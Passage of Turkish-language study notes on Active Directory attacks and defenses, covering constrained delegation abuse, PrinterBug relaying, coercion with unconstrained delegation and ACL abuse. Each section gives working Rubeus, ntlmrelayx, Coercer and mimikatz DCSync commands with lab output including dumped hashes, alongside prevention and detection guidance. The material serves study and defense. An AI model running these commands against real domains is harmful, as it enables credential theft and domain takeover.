Doküman bu adımın neden gerekli olduğunu açıkça belirtiyor: Rubeus, sonrasında kullanılacak /rc4 argümanı için düz metin yerine parola hash'i bekler. Bu yüzden MWP123 parolasını önce NTLM hash karşılığına çevirmemiz gerekir:

powershell

PS C:\Users\infa\Downloads> .\Rubeus.exe hash /password:MWP123

Çıktı:

Son satırdaki uyarı: AES ve DES hash türlerini hesaplamak istersek /user:X ve /domain:Y parametrelerinin de verilmesi gerekiyor. Bu saldırı için RC4 yeterli.

Adım 3 — Administrator hesabı için bilet alma

Şimdi Rubeus ile Administrator hesabı için bilet isteniyor:

powershell

PS C:\Users\infa\Downloads> .\Rubeus.exe s4u /user:webservice /rc4:FCDC65703DD2B0BD789977F1F3EEAECF /domain:krysthal.local /impersonateuser:Administrator /msdsspn:"http/dc1" /dc:dc1.krysthal.local /ptt

Çıktı:

  v2.0.1

[*] Action: S4U

[*] Using rc4_hmac hash: FCDC65703DD2B0BD789977F1F3EEAECF
[*] Building AS-REQ (w/ preauth) for: 'krysthal.local\webservice'
[+] TGT request successful!
[*] base64(ticket.kirbi):

doIFiDCCBYSgAwIBBaEDAgEWooIEnjCCBJphggSWMIIEkqADAgEFoQ0bC0VBR0xFLkxPQ0FMoiAwHqAD
AgECoRcwFRsGa3JidGd0GwtlYWdsZS5sb2NhbKOCBFgwggRUoAMCARKhAwIBAqKCBEYEggRCI1ghAg72
moqMS1skuua6aCpknKibZJ6VEsXfyTZgO5IKRDnYHnTJT6hwywSoXpcxbFDDlakB56re10E6f6H9u5Aq
            ...
            ...
            ...
[+] Ticket successfully imported!

Çıktıdaki üç kilit satır:

[*] Action: S4U → S4U uzantısı kullanılıyor
[+] TGT request successful! → bilet isteği başarılı
[+] Ticket successfully imported! → bilet oturuma içe aktarıldı

Adım 4 — Biletin oturuma enjekte edildiğini doğrulama

Doküman şunu söylüyor: Rubeus'un bileti mevcut oturuma enjekte ettiğini doğrulamak için klist komutunu kullanabiliriz.

powershell

PS C:\Users\infa\Downloads> klist

Burada dikkat edilecek iki satır: Client: Administrator ve Server: http/dc1 — yani bilet artık Administrator'a ait ve DC1'in HTTP servisi için geçerli.

Adım 5 — Domain Controller'a bağlanma

Bilet hazır olduğuna göre, Administrator hesabının kimliğine bürünerek Domain Controller'a bağlanılıyor:

Saldırı tamamlandı: hostname çıktısı DC1, whoami çıktısı krysthal\administrator.

Dokümanın verdiği iki ek not:

Sorun giderme: Son adım başarısız olursa — klist purge yapmamız, yeni biletler almamız ve makineyi yeniden başlatarak tekrar denememiz gerekebilir.
Genişletme: /altservice argümanı ile birden fazla servis için de bilet isteyebiliriz — örneğin LDAP, CFIS, time ve host.

Önleme (Prevention)

Doküman iyi haberle başlıyor: Microsoft, Kerberos Delegasyonunu tasarlarken birkaç koruma mekanizması uyguladı. Ancak — ve bu kritik — bunları hiçbir kullanıcı hesabında varsayılan olarak etkinleştirmedi.

Delegasyon yoluyla bir kullanıcı için bilet düzenlenmesini engellemenin iki doğrudan yolu var:

1) "Account is sensitive and cannot be delegated" özelliğini yapılandırın.

Bu, tüm ayrıcalıklı kullanıcılar için yapılmalıdır.

2) Ayrıcalıklı kullanıcıları "Protected Users" grubuna ekleyin.

Bu grup üyeliği, yukarıda bahsedilen korumayı otomatik olarak uygular.

⚠️ Uyarı: Protected Users grubunu:
Windows Server 2012 R2 ile gelen özel bir güvenlik grubudur. Amacı, içine eklenen kullanıcılar için birden fazla güvenlik korumasını tek seferde ve otomatik olarak uygulamaktır, yani bu grup, gruba üye olan hesaplar için özel bir "sıkılaştırılmış güvenlik modu" açar.
Bir kullanıcıyı bu gruba eklediğinde otomatik olarak devreye giren korumalar:

NTLM devre dışı kalır — kullanıcı artık sadece Kerberos ile kimlik doğrulayabilir

Zayıf şifreleme kapanır — Kerberos DES ve RC4 kullanılamaz, sadece AES kullanılır

Delegasyon engellenir — hesap hiçbir şekilde delegasyona konu edilemez (bu bölümdeki saldırıya karşı koruma budur)

Bilet ömrü kısalır ve uzatılamaz — TGT varsayılan olarak 4 saatte sona erer, yenilenemez

Önbellekli kimlik bilgileri saklanmaz — makine Domain Controller'a ulaşamazsa o kullanıcı giriş yapamaz

Tipik kullanım amacı: Domain Admins gibi çok yüksek yetkili hesapları, yukarıdaki gibi bilinen birçok saldırı tekniğine (Pass-the-Hash, delegasyon istismarı, Kerberoasting'in bazı türleri) karşı topluca korumak.

Ama bir bedeli var (az önce konuştuğumuz uyarı tam burada devreye giriyor): Bu korumalar hepsi birlikte ve zorunlu olarak gelir, tek tek seçilemez. Bu yüzden gruba eklemeden önce, o hesabın NTLM'e ihtiyaç duyan bir sisteme bağlanıp bağlanmadığı veya offline çalışması gerekip gerekmediği gibi noktaların test edilmesi gerekir.
!!!
Protected Users grubu sadece delegasyonu değil; NTLM girişini, RC4/DES şifrelemeyi ve önbellekli (cached) girişleri de otomatik olarak kapatır, bilet ömrünü de kısaltır. Bu yüzden hangi uygulamaların etkileneceği önceden test edilmeden üretim ortamında kullanılması önerilmez.

**Ek olarak:

Delegasyon için yapılandırılmış her hesabı, gerçek yetkileri ne olursa olsun (örneğin sadece bir Domain user bile olsa) son derece ayrıcalıklı olarak değerlendirmeliyiz.

Kriptografik olarak güvenli parolalar şarttır, çünkü Kerberoasting'in, tehdit aktörlerine delegasyon ayrıcalıklarına sahip bir hesap kazandırmasını istemeyiz.

Tespit (Detection)

Birinci yöntem, Kullanıcı davranışı korelasyonu:

Doküman bunu "constrained delegation istismarını tespit etmenin en iyi tekniği" olarak niteliyor.

Bir kullanıcının düzenli olarak giriş yaptığı konumu ve zamanı biliyorsak, diğer (şüpheli) davranışlar için alarm kurmak kolay olur. Yukarıdaki saldırıdaki 'Administrator' hesabını düşünün: Olgun bir organizasyon PAW (Privileged Access Workstations) kullanıyorsa, ayrıcalıklı kullanıcıların bu makineler dışından kimlik doğrulaması yapmasına karşı uyanık olmalı ve Event ID 4624 (başarılı oturum açma) olaylarını proaktif olarak izlemelidir.

İkinci yöntem — Transited Services özelliği:

Doküman burada bu bölüme özgü, çok değerli bir tespit noktası veriyor:

Bazı durumlarda, delege edilmiş bir biletle yapılan başarılı oturum açma girişimi, olay günlüğünde Transited Services özelliği altında biletin düzenleyicisi (issuer) hakkında bilgi içerir.

Bu özellik normalde, oturum açmanın bir S4U (Service For User) oturum açma sürecinden kaynaklanması durumunda doldurulur.

S4U nedir? Dokümanın tanımı: Microsoft'un Kerberos protokolüne yaptığı bir uzantıdır ve bir uygulama servisinin, bir kullanıcı adına Kerberos servis bileti almasına izin verir. Hatırlayın — Rubeus'u kullandığımız saldırı akışında tam olarak bu S4U uzantısını belirtmiştik.

Lab'daki örnek olay: web service kullanıcısı kullanılarak Administrator kullanıcısı için bir bilet üretildi ve bu bilet Domain Controller'a bağlanmak için kullanıldı — yani yukarıdaki saldırı yolunun tam olarak kendisi:

Account Name: Administrator ve Source Network Address: 172.16.18.25 → "Correlate user and source IP" (Kullanıcı ile kaynak IP'yi ilişkilendir)
Transited Services: webservice@KRYSTHAL.LOCAL → "User who generated the ticket via S4U" (Bileti S4U ile üreten kullanıcı)

Honeypot

Bu bölümde Honeypot alt başlığı yok. Bölüm Detection ile bitiyor ve doğrudan bir sonraki bölüme (Print Spooler & NTLM Relaying) geçiyor.

Özet Tablosu

| Kriter                | Kerberos Constrained Delegation                          |
|-----------------------|----------------------------------------------------------|
| Delegasyon amacı      | Uygulamanın farklı sunucudaki kaynaklara erişmesi        |
| 3 tür                 | Unconstrained / Constrained / Resource-based             |
| Yapılandırma yeri     | Constrained → kullanıcı özellikleri                      |
|                       | Resource-based → bilgisayar nesnesi                      |
| Üretimde yaygınlık    | Unconstrained ve Constrained sık, Resource-based nadir   |
| Bu bölümün konusu     | Sadece Constrained Delegation istismarı                  |
| Ele geçirilen hesap   | web_service (parola: MWP123)                           |
| Kilit AD özellikleri  | msds-allowedtodelegateto                                 |
|                       | TRUSTED_TO_AUTH_FOR_DELEGATION                           |
| Araçlar               | PowerView (Get-NetUser -TrustedToAuth), Rubeus (hash,s4u)|
| Protokol geçişi       | LDAP yetkisi → CIFS/HTTP gibi başka servislere geçiş     |
| Parola gerekli mi     | HAYIR — kurbanın parolası sağlanmadan bilet üretilir     |
| Ek servisler          | /altservice ile LDAP, CFIS, time, host                   |
| Önleme 1              | "Account is sensitive and cannot be delegated"           |
| Önleme 2              | Protected Users grubu (etkilerini anlamadan kullanma)    |
| Önleme 3              | Kriptografik güvenli parola (Kerberoasting'e karşı)      |
| Tespit 1              | Event ID 4624 + PAW korelasyonu                          |
| Tespit 2              | Transited Services alanı (S4U izini gösterir)

BÖLÜM 12: PRINT SPOOLER & NTLM RELAYING

Açıklama (Description)

Print Spooler, en son Windows Desktop ve Server sürümlerinde bile varsayılan olarak etkin olan eski bir servistir.

Bu servis, 2018 yılında Lee Christensen'in PrinterBug'ı bulmasıyla popüler bir saldırı vektörü haline geldi. RpcRemoteFindFirstPrinterChangeNotification ve RpcRemoteFindFirstPrinterChangeNotificationEx fonksiyonları kötüye kullanılarak, uzak bir makinenin erişebildiği herhangi bir başka makineye bağlantı yapmaya zorlanması sağlanabilir.

Dahası, bu ters bağlantı (reverse connection) kimlik doğrulama bilgisini bir TGT olarak taşıyacaktır. Bu nedenle, herhangi bir domain kullanıcısı, RemoteServer$ hesabını herhangi bir makineye kimlik doğrulamaya zorlayabilir (coerce edebilir).

Microsoft'un PrinterBug konusundaki tutumu şuydu: bu düzeltilmeyecek, çünkü sorun "tasarım gereği" (by-design).

PrinterBug'ın etkisi: Print Spooler'ı etkin olan herhangi bir Domain Controller, aşağıdaki yollardan biriyle ele geçirilebilir:

Bağlantıyı başka bir DC'ye relay edip DCSync gerçekleştirmek (SMB Signing devre dışıysa)
Domain Controller'ı, Unconstrained Delegation (UD) için yapılandırılmış bir makineye bağlanmaya zorlamak — bu, TGT'yi UD sunucusunun belleğinde önbelleğe alır, ve bu da Rubeus ve Mimikatz gibi araçlarla yakalanabilir/dışa aktarılabilir
Bağlantıyı Active Directory Certificate Services'e relay edip Domain Controller için bir sertifika elde etmek. Tehdit aktörleri daha sonra bu sertifikayı istedikleri zaman kullanarak kimlik doğrulayabilir ve Domain Controller gibi davranabilir (örn. DCSync)
Bağlantıyı, relay edilen makine için Resource-Based Kerberos Delegation yapılandırmaya relay etmek. Daha sonra bu delegasyonu, o makineye herhangi bir Administrator olarak kimlik doğrulamak için kötüye kullanabiliriz

Saldırı (Attack)

Bu saldırı yolunda, bağlantıyı başka bir DC'ye relay edip DCSync gerçekleştireceğiz (yani listelenen ilk ele geçirme tekniği). Saldırının başarılı olması için, Domain Controller'larda SMB Signing'in kapalı olması gerekir.

Adım 1 — NTLMRelayx'i yapılandırma:

Başlamak için, NTLMRelayx'i herhangi bir bağlantıyı DC2'ye iletecek ve DCSync saldırısını gerçekleştirmeye çalışacak şekilde yapılandırıyoruz:

impacket-ntlmrelayx -t dcsync://172.16.18.4 -smb2support

Çıktı:

Adım 2 — PrinterBug'ı tetikleme:

Sırada, NTLMRelayx dinlemede iken Kali makinesini kullanarak PrinterBug'ı tetiklememiz gerekiyor. Bağlantıyı geri tetiklemek için Dementor kullanacağız (domain'e katılmamış bir makineden çalıştırılırken, kimliği doğrulanmış herhangi bir kullanıcının kimlik bilgileri gereklidir, ve bu durumda daha önce infa yı ele geçirdiğimizi varsaydık):

python3 ./dementor.py 172.16.18.20 172.16.18.3 -u infa -d krysthal.local -p MWP123

Çıktı:

Adım 3 — NTLMRelayx tarafında sonucu görme:

Şimdi, NTLMRelayx ile terminal oturumuna geri döndüğümüzde, DCSync'in başarılı olduğunu göreceğiz:

Görüldüğü gibi, krbtgt, DC2$ ve Administrator hesaplarının parola hash'leri elde edildi, DCSync saldırısı, PrinterBug ile tetiklenen bir relay saldırısı üzerinden başarıyla gerçekleştirildi.

Önleme (Prevention)

Print Spooler, yazdırma sunucusu olmayan tüm sunucularda devre dışı bırakılmalıdır. Domain Controller'lar ve diğer temel (core) sunucular, çekirdek AD altyapısına yönelik saldırı yüzeyini açan ve genişleten ek roller/işlevsellikler asla barındırmamalıdır.

Ayrıca, servisi çalışır durumda tutarken PrinterBug'ın kötüye kullanılmasını önlemek için bir seçenek daha vardır: RegisterSpoolerRemoteRpcEndPoint registry anahtarını devre dışı bırakmak. Bu anahtar devre dışı bırakıldığında, gelen tüm uzak istekler engellenir; bu, sanki servis uzak istemciler için devre dışı bırakılmış gibi davranır.

Registry anahtarını 1 olarak ayarlamak etkinleştirir, 2 olarak ayarlamak ise devre dışı bırakır.

Tespit (Detection)

PrinterBug'ı istismar etmek, Domain Controller'a doğru ağ bağlantı izleri bırakacaktır; ancak bunlar bir tespit mekanizması olarak kullanılamayacak kadar geneldir.

NTLMRelayx kullanılarak DCSync gerçekleştirilmesi durumunda, (DCSync bölümünde bahsedildiği gibi) Event ID 4662 üretilmez; ancak, DC1'in hash'lerini DC2'den elde etmek için, DC1 için başarılı bir oturum açma event'i oluşacaktır. Bu event, Domain Controller'ın değil, Kali makinesinin IP adresinden kaynaklanır, aşağıda görebileceğimiz gibi:

Uygun bir tespit mekanizması, her zaman çekirdek altyapı sunucularından gelen tüm oturum açma girişimlerini, bunların kendi IP adresleriyle (bunlar statik ve bilinen olmalıdır) ilişkilendirir (correlate).

Honeypot

PrinterBug, ortamda şüpheli davranışı uyarma aracı olarak kullanılabilir. Bu senaryoda, sunucularımızdan 139 ve 445 portlarına giden outbound bağlantıları engelleriz; bu, yazılım veya fiziksel güvenlik duvarlarıyla (firewall) başarılabilir.

Bug'ın istismar edilmesi tetiklenebilse bile, güvenlik duvarı kuralları ters bağlantının tehdit aktörüne ulaşmasına izin vermeyecektir. Ancak, bu engellenen bağlantılar mavi takım (blue team) için bir ele geçirilme belirtisi olarak işlev görecektir.

Bununla ilgili herhangi bir şey uygulamadan önce, meşru bağlantılara izin verildiğinden emin olmak için yeterli günlük kaydına (log) ve ortamımız hakkında yeterli bilgiye sahip olduğumuzdan emin olmalıyız (örneğin, DC'lerin veri replikasyonu yapabilmesi için belirtilen portları açık tutmalıyız).

Bu, düşmanları kandırmak için bir honeypot olarak uygun görünse de, bunu uygulamadan önce dikkatli olmalıyız — çünkü şu anda bu bug, makinenin bize geri bağlanmasını gerektiriyor, ancak eğer ters bağlantı olmadan bir tür Uzaktan Kod Yürütme (Remote Code Execution) sağlayan yeni, bilinmeyen bir bug keşfedilirse, bu durum bize geri tepecektir.

Bu nedenle, bu seçeneği yalnızca son derece olgun bir organizasyon isek ve yeni bir bug keşfedilmesi durumunda uyarılara anında hareket edebiliyorsak ve tüm cihazlarda servisi devre dışı bırakabiliyorsak düşünmeliyiz.

BÖLÜM 13: COERCING ATTACKS & UNCONSTRAINED DELEGATION

Açıklama (Description)

Coercing (zorlama) saldırıları, herhangi bir kullanıcıdan Domain Administrator'a yetki yükseltmek için tek adımlık bir çözüm (one-stop shop) haline geldi. Varsayılan bir AD altyapısına sahip neredeyse her organizasyon buna karşı savunmasızdır. PrinterBug'ı tartıştığımızda coercing saldırılarının tadına zaten bakmıştık.

Ancak, aynı işlevselliği gerçekleştirebilen birkaç başka RPC fonksiyonu daha vardır. Bu nedenle, herhangi bir domain kullanıcısı, RemoteServer$ hesabını domain'deki herhangi bir makineye kimlik doğrulamaya zorlayabilir (coerce edebilir). Sonunda, bilinen tüm savunmasız RPC fonksiyonlarını aynı anda istismar etmek için Coercer aracı geliştirildi.

PrinterBug'a benzer şekilde, bir saldırgan ters bağlantı ile birkaç "takip" (follow up) seçeneği arasından seçim yapabilir; bunlar daha önce bahsedildiği gibi:

Bağlantıyı başka bir DC'ye relay edip DCSync gerçekleştirmek (SMB Signing devre dışıysa)
Domain Controller'ı, Unconstrained Delegation (UD) için yapılandırılmış bir makineye bağlanmaya zorlamak — bu, TGT'yi UD sunucusunun belleğinde önbelleğe alacaktır, bu da Rubeus ve Mimikatz gibi araçlarla yakalanabilir/dışa aktarılabilir
Bağlantıyı Active Directory Certificate Services'e relay edip Domain Controller için bir sertifika elde etmek. Tehdit aktörleri daha sonra bu sertifikayı istedikleri zaman kullanarak kimlik doğrulayabilir ve Domain Controller gibi davranabilir (örn. DCSync)
Bağlantıyı, relay edilen makine için Resource-Based Kerberos Delegation yapılandırmaya relay etmek. Daha sonra bu delegasyonu, o makineye herhangi bir Administrator olarak kimlik doğrulamak için kötüye kullanabiliriz

Saldırı (Attack)

Bu bölümde, saldırganın Unconstrained Delegation için yapılandırılmış bir sunucuda yönetici hakları elde ettiğini varsayarak, ikinci "takip" seçeneğini kötüye kullanacağız. TGT'yi yakalamak için bu sunucuyu kullanacağız, Coercer ise Kali makinesinden çalıştırılacak.

Adım 1 — Unconstrained Delegation için yapılandırılmış sistemleri belirleme:

PowerView'in Get-NetComputer fonksiyonu, -Unconstrained anahtarıyla birlikte kullanılabilir:

powershell

WS001 ve SERVER01, Unconstrained delegation için güvenilir durumdadır (Domain Controller'lar varsayılan olarak güvenilirdir). Yani ya WS001 ya da Server01, bir düşman için hedef olabilir. Senaryomuzda, WS001'i ve bu host üzerinde yönetici haklarına sahip olan 'infa'yı zaten ele geçirmiş durumdayız.

Adım 2 — Yeni oturumları izlemek için Rubeus'u başlatma:

Yeni oturumları izlemek ve TGT'leri çıkarmak için bir yönetici komut isteminde Rubeus'u başlatacağız:

powershell

PS C:\Users\infa\Downloads> .\Rubeus.exe monitor /interval:1

Çıktı:

   ______           _
  (_____ \         | |
   _____) )_      _| |__    _____ _     _   ___
  |     __     /| | | |     _ \| ___ | | | |/___)
  | |        \ \| |_| | |_) ) ____| |_| |___ |
  |_|         |_|____/|____/|_____)____/(___/

  v2.0.1

[*] Action: TGT Monitoring
[*] Monitoring every 1 seconds for new TGTs

Adım 3 — WS001'in IP adresini öğrenme ve Coercer'ı çalıştırma:

Sırada, ipconfig çalıştırarak elde edebileceğimiz WS001'in IP adresini bilmemiz gerekiyor. Bilindiğinde, Kali makinesine geçip DC1'e doğru Coercer'ı çalıştıracağız, ve coercing başarılı olursa WS001'e bağlanmaya zorlayacağız:

Coercer -u infa -p MWP123 -d krysthal.local -l ws001.krysthal.local -t dc1.krysthal.local

Adım 4 — WS001'de yakalanan TGT'yi görme:

Şimdi, WS001'e geçip Rubeus'un sağladığı sürekli çıktıya baktığımızda, DC1 için bir TGT mevcut olmalıdır:

Bu TGT'yi domain içinde kimlik doğrulama için kullanabiliriz, Domain Controller haline gelerek. Buradan itibaren, DCSync bariz bir saldırıdır (diğerlerinin yanı sıra).

Adım 5 — Yakalanan TGT'yi Rubeus ile kullanma:

Yukarıda bahsedilen TGT'yi kullanmanın bir yolu Rubeus üzerinden, aşağıdaki gibidir:

powershell

PS C:\Users\infa\Downloads> .\Rubeus.exe ptt /ticket:doIFdDCCBXCgAwIBBa...

Çıktı:

   ______           _
  (_____ \         | |
   _____) )_      _| |__    _____ _     _   ___
  |     __     /| | | |     _ \| ___ | | | |/___)
  | |        \ \| |_| | |_) ) ____| |_| |___ |
  |_|         |_|____/|____/|_____)____/(___/

  v2.0.1

[*] Action: Import Ticket
[+] Ticket successfully imported!

powershell

PS C:\Users\infa\Downloads> klist

Current LogonId is 0:0x101394

Cached Tickets: (1)

#0>         Client: DC1$ @ KRYSTHAL.LOCAL
            Server: krbtgt/KRYSTHAL.LOCAL @ KRYSTHAL.LOCAL
            KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
            Ticket Flags 0x60a10000 -> forwardable forwarded renewable pre_authent name_canonicalize
            Start Time: 7/09/2026 8:54:04 (local)
            End Time:    7/09/2026 18:54:04 (local)
            Renew Time: 7/09/2026 8:54:04 (local)
            Session Key Type: AES-256-CTS-HMAC-SHA1-96
            Cache Flags: 0x1 -> PRIMARY
            Kdc Called:

Adım 6 — DCSync saldırısını gerçekleştirme:

Ardından, DCSync bölümünde yaptığımızı esasen tekrarlayarak, mimikatz üzerinden bir DCSync saldırısı gerçekleştirilebilir.

PS C:\Users\infa\Downloads\mimikatz_trunk\x64> .\mimikatz.exe "lsadump::dcsync /domain:krysthal.local /user:Administrator"

Çıktı:


mimikatz(commandline) # lsadump::dcsync /domain:krysthal.local /user:Administrator

[DC] 'krysthal.local' will be the domain
[DC] 'DC1.krysthal.local' will be the DC server
[DC] 'Administrator' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN              : Administrator

** SAM ACCOUNT **

SAM Username            : Administrator
Account Type            : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration      : 01/01/1601 02.00.00
Password last change : 07/08/2026 21.24.13
Object Security ID      : S-1-5-21-1518138621-4282902758-752445584-500
Object Relative ID      : 500

Credentials:
  Hash NTLM: fcdc65703dd2b0bd789977f1f3eeaecf

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 6fd69313922373216cdbbfa823bd268d

* Primary:Kerberos-Newer-Keys *
    Default Salt : WIN-FM93RI8QOKQAdministrator
    Default Iterations : 4096
    Credentials
      aes256_hmac           (4096) : 1c4197df604e4da0ac46164b30e431405d23128fb37514595555cca76583cfd3
      aes128_hmac           (4096) : 4667ae9266d48c01956ab9c869e4370f
      des_cbc_md5           (4096) : d9b53b1f6d7c45a8

* Packages *
      NTLM-Strong-NTOWF

* Primary:Kerberos *
    Default Salt : WIN-FM93RI8QOKQAdministrator
    Credentials
      des_cbc_md5           : d9b53b1f6d7c45a8

mimikatz # exit
Bye!

Önleme (Prevention)

Windows, hangi RPC çağrılarının kullanıldığını keşfetmeye ve belirli fonksiyonları engellemeye izin veren granüler görünürlük ve kontrol sunmaz. Bu nedenle, bu saldırıyı önlemek için kutudan çıktığı gibi (out-of-the-box) bir çözüm şu anda mevcut değildir. Ancak, coercing saldırılarını önlemek için iki farklı genel yaklaşım vardır:

1) Zero Networks'ten olanı gibi üçüncü parti bir RPC güvenlik duvarı (firewall) uygulamak ve bunu tehlikeli RPC fonksiyonlarını engellemek için kullanmak. Bu araç ayrıca bir audit modu ile birlikte gelir, bu da onu kullanmanın veya kullanmamanın iş kesintilerine (business disruption) yol açıp açmayacağını izlemeye ve görünürlük kazanmaya olanak tanır. Dahası, coercing ile ilişkili tehlikeli OPNUM istekte mevcutsa RPC fonksiyonlarını engelleme işlevselliğini sağlayarak bir adım öteye gider. (Bu seçenekte, gelecekte yeni keşfedilen her RPC fonksiyonu için, onu dahil etmek üzere güvenlik duvarının yapılandırma dosyasını değiştirmemiz gerekeceğini unutmayın.)

2) Domain Controller'ları ve diğer temel altyapı sunucularını, AD için gerekli olan (ve iş operasyonları için gerekli olan) makineler dışında, giden (outbound) 139 ve 445 portlarına bağlanmaktan engellemek. Bir örnek şudur: 139 ve 445 portlarına genel giden trafiği engellerken, hâlâ Domain Controller'lar arası (cross Domain Controllers) için buna izin vermeliyiz; aksi takdirde domain replikasyonu başarısız olur. (Bu çözümün avantajı, yeni keşfedilen savunmasız RPC fonksiyonlarına veya diğer coercing yöntemlerine karşı da işe yarayacak olmasıdır.)

Tespit (Detection)

Bahsedildiği gibi, Windows RPC aktivitesini izlemek için kutudan çıktığı gibi bir çözüm sağlamaz. Zero Networks'ten olan RPC Firewall, bu fonksiyonların kötüye kullanımını tespit etmek için mükemmel bir yöntemdir ve ele geçirilmenin anlık belirtilerini gösterebilir; ancak, Domain Controller'lara üçüncü parti yazılım kurmama konusundaki genel tavsiyeleri takip edersek, güvenlik duvarı günlükleri (firewall logs) en iyi şansımızdır.

Coercer ile başarılı bir coercing saldırısı, aşağıdaki host güvenlik duvarı günlüğüyle sonuçlanacaktır; burada .128'deki makine saldırgan makinesi, .200 ise Domain Controller'dır:

Portun 445'e giden çok sayıda gelen bağlantı görebiliriz, ardından DC'den saldırgan makinesine giden bağlantılar izler; bu işlem, Coercer birkaç farklı fonksiyondan geçtikçe birkaç kez tekrarlanır. Tüm giden trafik 445 portuna yöneliktir.

Eğer ileri gidip 445 portuna giden trafiği engellersek, aşağıdaki davranışı gözlemleyeceğiz:

Şimdi görebiliriz ki, gelen bağlantı başarılı olsa bile, güvenlik duvarı giden bağlantıyı düşürür (drop), ve sonuç olarak, saldırgan hiçbir coerced TGT almaz. Bazen, 445 portu engellendiğinde, makine bunun yerine 139 portuna bağlanmaya çalışacaktır, bu yüzden hem 139 hem de 445 portlarının engellenmesi önerilir.

Yukarıdakiler tespit için de kullanılabilir, çünkü 139 veya 445 portlarına yönelik herhangi bir beklenmeyen düşürülmüş (dropped) trafik şüphelidir.

Honeypot

Bu bölümde Honeypot alt başlığı bulunmuyor. Bölüm Detection ile bitiyor ve doğrudan bir sonraki bölüme (Object ACLs) geçiyor.

BÖLÜM 14: OBJECT ACLs

Açıklama (Description)

Active Directory'de Access Control Lists (ACLs), belirli bir nesneye erişimi olan yetkilileri (trustee) ve bunların erişim türünü tanımlayan tablolar veya basit listelerdir. Bir yetkili (trustee), bir kullanıcı hesabı, grup veya oturum açma oturumu gibi herhangi bir güvenlik asıl (security principal) olabilir. Her erişim kontrol listesi bir dizi erişim kontrol girişine (ACE) sahiptir ve her ACE, yetkiliyi ve yetkilinin sahip olduğu erişim türünü tanımlar. Bu nedenle, çeşitli ACE'ler olabileceğinden bir nesneye birden fazla yetkili tarafından erişilebilir. Erişim kontrol listeleri ayrıca, güvenli bir nesneye yapılan erişim girişimlerinin sayısını ve erişim türünü kaydetmek gibi denetim (auditing) amaçları için de kullanılır. Güvenli bir nesne (securable object), Active Directory'de bir güvenlik tanımlayıcısı (security descriptor) içeren, adlandırılmış herhangi bir nesnedir; bu tanımlayıcı, ACL'leri içeren nesne hakkındaki güvenlik bilgilerine sahiptir.

Bir Erişim Kontrol Girişi'ne örnek olarak, varsayılan olarak AD, Domain Admins'e her nesnenin parolasını değiştirme hakkını verir. Ancak, haklar belirli kullanıcılara veya gruplara da devredilebilir (delegate); bunlar, diğer nesneler üzerinde belirli bir eylemi gerçekleştirebilir — bu, parola sıfırlamaları, grup üyeliği değişikliği veya nesnelerin silinmesi olabilir. Büyük organizasyonlarda, ayrıcalıksız kullanıcıların devredilmiş haklarla sonuçlanmasını önlemek pratik olarak imkansızsa, insan hatasını ortadan kaldırmalı ve iyi tanımlanmış süreç dokümantasyonuna sahip olmalıdırlar. Örneğin, bir çalışanın (kazara/kasıtlı olarak) departmanını IT'den Security Operations'a değiştirdiğini varsayalım. Bu durumda, organizasyonun sistemlere ve uygulamalara olan tüm hakları ve erişimi iptal etmek için bir süreci olmalıdır. Gerçek hayattaki AD ortamlarında, sıklıkla şu gibi durumlarla karşılaşacağız:

Tüm Domain kullanıcıları, tüm Sunuculara Administrators olarak eklenmiş
Herkes tüm nesneleri değiştirebilir (üzerlerinde tam haklara sahip olarak)
Tüm Domain kullanıcıları, LAPS parolalarını içeren bilgisayarın genişletilmiş özelliklerine erişebilir

Saldırı (Attack)

Potansiyel istismar edilebilir ACL'leri belirlemek için, nesneler arasındaki ilişkileri grafikleştirmek üzere BloodHound'u ve ortamı taramak ve -c parametresine (CollectionMethod'un kısa versiyonu) All geçirmek üzere SharpHound'u kullanacağız:

powershell

PS C:\Users\infa\Downloads> .\SharpHound.exe -c All

SharpHound tarafından üretilen ZIP dosyası daha sonra BloodHound'da görselleştirilebilir. Ortamdaki her yanlış yapılandırılmış ACL'yi aramak yerine, kullanıcı infaa'dan (zaten ele geçirdiğimiz ve tam kontrolüne sahip olduğumuz ilk kullanıcımız) kaynaklanan potansiyel yetki yükseltme yollarına odaklanacağız. Bu nedenle, aşağıdaki görsel, infa'un ortama sahip olduğu farklı erişimleri göstermektedir:

infa, kullanıcı mdr ve bilgisayar Server01 üzerinde tam haklara sahiptir. Aşağıda, infa'un bunların her biriyle neler yapabileceği açıklanmaktadır:

1. Durum 1: Kullanıcı mdr üzerinde tam haklar. Bu durumda, İnfa nesne mdr'ı bazı bonus SPN değeri belirleyerek değiştirebilir ve ardından ona karşı Kerberoast saldırısı gerçekleştirebilir (hatırlarsanız, bu saldırının başarısı parolanın gücüne bağlıdır). Ancak, İnfa ayrıca kullanıcı mdr'nin parolasını da değiştirebilir ve ardından bu hesap olarak giriş yapabilir, dolayısıyla mdr'ın yapabileceği her şeyi doğrudan devralarak gerçekleştirebilir hale gelir (mdr bir Domain admin ise, infa da aynı haklara sahip olur).

2. Durum 2: Bir bilgisayar nesnesi üzerinde tam kontrol de verimli olabilir. Ortamda LAPS kullanılıyorsa, infa özniteliklerde saklanan parolayı elde edebilir ve bu sunucuya yerel Administrator hesabı olarak kimlik doğrulayabilir. Başka bir yetki yükseltme yolu ise Resource-Based Kerberos Delegation'ı kötüye kullanmaktır, bu da infa'un bu sunucuya herhangi biri olarak kimlik doğrulamasına izin verir. Önceki saldırıdan hatırlayın, Server01, Unconstrained delegation için güvenilirdir, bu yüzden infa bu sunucuda yönetici hakları elde ederse, bir Domain Controller'ın veya başka bir hassas bilgisayar nesnesinin kimliğini ele geçirmek için potansiyel bir yetki yükseltme yoluna sahip olur.

Ayrıca discretionary access control lists (DACLs) ve system access control lists (SACLs) raporları oluşturmak için ADACLScanner kullanabiliriz.

Önleme (Prevention)

Yapabileceğimiz üç şey var:

AD ortamında bunun bir sorun olup olmadığını tespit etmek için sürekli değerlendirmeye (continuous assessment) başlayın.
Yüksek ayrıcalıklara sahip çalışanları bunu yapmaktan kaçınmaları için eğitin.
Erişim yönetimi sürecinden mümkün olduğunca çok şeyi otomatikleştirin ve yalnızca yönetici hesaplarına ayrıcalıklı erişim atayın; bu, yöneticilerin hesapları manuel olarak düzenlememesini sağlar, bu da ayrıcalıksız kullanıcılara devredilmiş hakların tanıtılması riskini azaltır.

Tespit (Detection)

